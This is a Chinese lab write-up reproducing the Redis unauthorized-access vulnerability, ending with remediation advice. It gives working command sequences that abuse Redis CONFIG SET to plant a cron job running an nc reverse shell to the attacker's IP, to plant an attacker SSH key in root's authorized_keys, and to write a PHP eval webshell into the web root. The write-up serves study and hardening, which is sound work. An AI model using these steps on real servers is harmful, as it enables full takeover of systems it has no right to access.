漏洞复现之Redis未授权访问漏洞
(部分搜寻的资料用于自学,如有侵犯,联系可删! ———— by 611)
漏洞复现之Redis未授权漏洞
漏洞介绍
漏洞简介
Redis 在默认情况下会绑定在0.0.0.0:6379端口,如果没有进行采用相关的策略(比如添加防火墙规则避免其他非信任来源 ip 访问等)就会使 Redis 服务暴露到公网上,如果没有设置密码认证(一般为空),会导致任意用户对Redis进行未授权访问 。攻击者可以无需认证访问到内部数据,并利用Redis进行提权,控制服务器。
形成原因
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞类型
数据库因配置不当导致的未授权访问漏洞
漏洞危害
- 攻击者可以通过redis命令向目标服务器写入计划任务,让服务器主动连接攻击者,实现反弹shell,完成对服务器的控制。
- 攻击者可以通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制。即可以通过redis服务间接利用http服务。
- 当redis以root身份运行时,攻击者可以给root用户写入ssh公钥文件,直接通过ssh远程登录受害服务器。
影响版本
redis为4.x/5.x或以前的版本
环境搭建
攻击机:Kali (192.168.1.133)
靶机:Kali(192.168.1.130)
安装Redis(靶机和攻击机都要安装)
1、redis是C语言编写的,所以要先下载gcc依赖
apt-get install gcc
2、redis下载网站
http://download.redis.io/releases/redis-2.8.17.tar.gz
3、解压安装包,解压后进入redis目录
cd redis-2.8.17
4、执行编译
make
5、进入src目录,启动redis
cd src
./redis-server
开启Redis
1、进入安装目录
cd /opt/redis-2.8.17/src
2、开启Redis
./redis-server
复现过程
漏洞检测
1、用攻击机扫描靶机的端口,查看Redis的6379端口是否开放,如果开放,则可能使用了Redis数据库。
2、我们的攻击机也需要有Redis环境,这样才能在Redis的安装目录下去执行远程控制其他Redis数据库的命令,我们打开攻击机的Redis目录,输入远程控制靶机Redis的命令,查看是否可以连接成功;如果出现下图方框的控制部分,证明存在Redis漏洞。
redis-cli -h 192.168.1.130 //在攻击机Redis目录下执行远程控制靶机Redis的命令
漏洞利用(三种方法)
[参考资料][!https://www.freebuf.com/news/351116.html]
一、 写入计划任务获取反弹shell
(一)利用原理
由于Redis存在未授权访问漏洞,所以无需账号密码就可以在我们的Redis目录下去远程控制靶机的Redis数据库,但是我们希望不仅仅是可以操作对方的Redis数据库,想提权去控制服务器,比较容易想到的就是想办法写个反弹shell,让靶机来连接我们,如果可以成功反弹,我们就可以提权。我们想到可以让靶机设定一个定时来连接攻击机的计划任务,从而实现反弹;但是写计划任务是需要在计划任务的目录/var/spool/cron
中去执行命令,而我们现在只能操作数据库,根本没办法去进入到服务器的计划任务目录,更别说是写计划任务。
因此我们的思想就是:Redis把Redis持久化文件的写入目录改成存放计划任务的目录,因为这个操作是针对Redis的,所以这个操作是可以完成的;然后将持久化文件名更改为root,这样就可以覆盖系统上root用户的crontab文件;之后我们用redis的set命令写入一个键值对(set 命令必须得写成键值对),值就是反弹shell的命令;保存后,我们就成功地借用Redis数据库向服务器的计划任务里加入了一个反弹shell的计划任务,然后在攻击机进行监听,就可以成功提权。
命令汇总:
config set dir /var/spool/cron/crontabs
//这个目录具体根据操作系统来定,网上资料一般没有后面的crontabs,但是试验机kali得有
config set dbfilename root
//覆盖原有的crontabs中root文件(便于以root身份执行计划任务)
set shell_611 "\n* * * * * nc -e /bin/bash 192.168.1.133 9999 0<&1 2>&1"
//kali用这个反弹命令,网上常见的/dev/tcp路径那个,kali可能不好使
save
//保存
nc -lvvp 9999
//攻击机起监听
(二)利用过程
1、攻击机远程连接靶机的Redis。
redis-cli -h 192.168.1.130
2、用Redis的config set命令来更改靶机的Redis持久化目录,把Redis的持久化目录改成系统计划任务的目录。
config set dir /var/spool/cron/crontabs
注意:一定要看好操作系统计划任务的目录到底是什么,网上的资料都是/var/spool/cron,试了八百次都不对,最后发现实际上这个试验攻击机kali里,计划任务的目录还得往下走一级。
3、用Redis的config set命令来重命名文件,覆盖掉原有的root文件。
config set dbfilename root
4、使用Redis的set命令,往持久化目录文件里写一个键值对(这是set命令的格式要求,必须写键值对),键随便起,我起的是shell_611,值就为反弹shell的命令。
set shell_611 "\n* * * * * nc -e /bin/bash 192.168.1.133 9999 0<&1 2>&1\n"
save
这步如果执行成功了之后,我们可以去靶机上看一眼,看看计划任务目录里的root文件内容有没有写进去。
cd /var/spool/cron/crontabs
vim root
发现成功写入,可以发现,反弹shell命令里的那两个换行符就是为了与那些乱七八糟的前后缀区别开来。
5、我们再进一步验证,在靶机上执行crontab -l
命令看一下计划任务里到底有没有,发现确实写入了计划任务。
6、攻击机上起监听,等待反弹。
nc -lvp 9999
7、正常情况到这里,等待一分钟就应该接收到反弹了,但是实验中发现并没有。查阅资料发现:有可能是这个版本的crontab对计划任务格式的要求很严格,而在Redis中写入文件时,会自动在文件的开头和结尾写入部分格式头尾,也就是那些乱七八糟的前后缀,导致没有识别出计划任务,就没有成功执行,但复现原理和过程应该是没问题的。所以这个利用方法是有BUG的,不一定成功。
为了看到效果,我们可以在靶机上把乱七八糟的前后缀去掉,再等待一下,发现成功反弹。
二、利用ssh写入公钥
(一)预备知识
1、关于ssh和sshd
ssh和sshd的区别在于ssh是针对客户端的,sshd是针对服务端的,也就是说:如果我想要用我的本地电脑远程连接一台服务器,那么我的本地电脑必须要开启ssh服务,而那台远程服务器必须要开启sshd服务。
2、关于ssh的公钥私钥
(1)什么是公钥登录?
公钥登录,很多时候也说public key认证,公钥登录的原理:首先用户将自己的公钥存储在需要登录的远程机器上面,然后登录的时候,远程主机会向用户发送一段随机字符串,接着用户使用自己的私钥加密字符串,并发给远程主机。最后,远程主机使用存储的公钥进行解密,若解密成功,则说明用户可信,准许登录,不在提示输入密码。
(2)什么是口令登录?
口令登录就是登录的时候需要输入登录密码,口令登录的原理:首先客户端向服务器发出请求,服务器会将自己的公钥返回给客户端;然后客户端用服务器的公钥加密登录信息, 再将信息发送给服务器;服务器接收到客户端传送的登录信息, 用自己的私钥解码, 如果结果正确, 则同意登录, 建立起连接。
(3)Linux开启ssh、sshd
首先我们检查一下ssh和sshd服务是否已安装,如果没安装需要安装一下。
sudo apt-get install openssh-client //安装ssh
sudo apt-get install openssh-server //安装sshd
开启ssh和sshd服务。
service ssh start
service sshd start
有的时候可能即使安装了也会发现无法启动sshd服务(比如kali),那我们需要添加一下ssh.service。
systemctl enable ssh.service
(4)Linux生成公钥、私钥
ssh-keygen -t rsa //输入该命令,然后一路回车,生成成功
注意:id_rsa是私钥,id_rsa.pub是公钥,默认路径公钥和私钥的存放路径是/root/.ssh
(二)利用原理
根据预备知识,我们理解了SSH公钥登录的过程,那么重要的一步就是服务器端要保存客户端的公钥。操作系统也有存放公私钥的目录,所以我们可以让攻击机先生成一对自己的公私钥,然后携带公钥去远程控制靶机的Redis,再像计划任务写shell那样,通过将Redis持久化文件的目录和文件名改成系统存放公私钥的目录/root/.ssh
和文件名authotrized_keys
,这样我们就成功地把攻击机的公钥放到了靶机的系统公钥目录中。当我们用与公钥相匹配的私钥去ssh连接靶机后,就可以成功控制靶机。
(三)利用过程
1、在攻击机和靶机上都开启ssh、sshd服务,便于进行复现。
service ssh start
service sshd start
2、在靶机上创建一个公钥存放目录。(这里是为了搭建出一个靶场的环境,如果靶机是使用过ssh服务的,会自动生成/root/.ssh文件;为了防止靶机上没有,影响我们后续复现,所以我们提前创建一个。)
mkdir /root/.ssh
如果有,会创建不成功;下图没成功,因为之前使用过,所以系统里有这个目录。
3、在攻击机上生成ssh密钥对,然后把生成的公钥写到一个txt里,方便后续的操作。
ssy-keygen -t rsa //生成密钥对
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>611.txt //把公钥提取出来
4、我们同样利用类似于往里写计划任务的方式来往里写公钥。
redis-cli -h 192.168.1.130
config set dir /root/.ssh
config set dbfilename authorized_keys
save
exit
5、为了看一下效果,我们可以先去靶机上看看是否已经写入,发现靶机成功写入(下面那行是上个实验遗留下来的)。
cd /root/.ssh
vim authorized_keys
6、最后我们就可以在攻击机上远程连接靶机,成功连接。
ssh -i id_rsa root@192.168.1.130
注意:由于靶机和攻击机用的都是Kali,所以可能不好分辨,比如这个已经远程登录成功后所显示的命令行其实是远程端的命令行,只不过由于长得一样,所以可能会误认为是本地的。
我们可以验证一下,输入ls显示的目录如图,分别在靶机和攻击机输入ls,可以看出:这确实是靶机的命令行。
攻击机:
靶机:
三、写入webshell
(一)利用原理
利用原理与之前都相似,只不过就是将redis持久化文件目录改成/var/www/html目录,设置相应的脚本文件名,然后利用Redis的set命令写一个键值对,值就是一句话木马;然后用蚁剑去连接获取webshell,即可完成漏洞利用。
(二)利用过程
比较好理解,原理也很熟悉,这part不再演示。
redis-cli -h 192.168.1.130 //攻击机远程连接靶机Redis
config set dir /var/www/html //设置redis库文件写入到/var/www/html目录,该目录是httpd服务的默认路径
config set dbfilename 611.php //设置写入的文件名,这里需要写入一个php的一句话木马,故而使用php后缀
set shell_611 "<?php @eval($_POST["611"]);?>" //写入webshell
save
//写完后可以将192.168.1.130/611.php加入到蚁剑的连接对象中,密码是611,即可完成利用。
漏洞修复
- 绑定需要访问数据库的IP(就是配置文件
redis.conf
中的bind ip xxx,低版本存在该漏洞的就是把这行给注释掉了,比如下图里如果把#bind 127.0.0.1前面的注释符去掉就意味着不允许外联,只允许本地访问Redis)
-
设置访问密码。配置文件中requirepass字段后,设置添加访问密码。(把下图的注释符去掉,然后把foobared换成自己要设置的密码)
-
修改Redis服务运行账号。以较低的权限账号去运行Redis服务,禁用账号的登录权限
-
需要对外开放时,修改默认端口。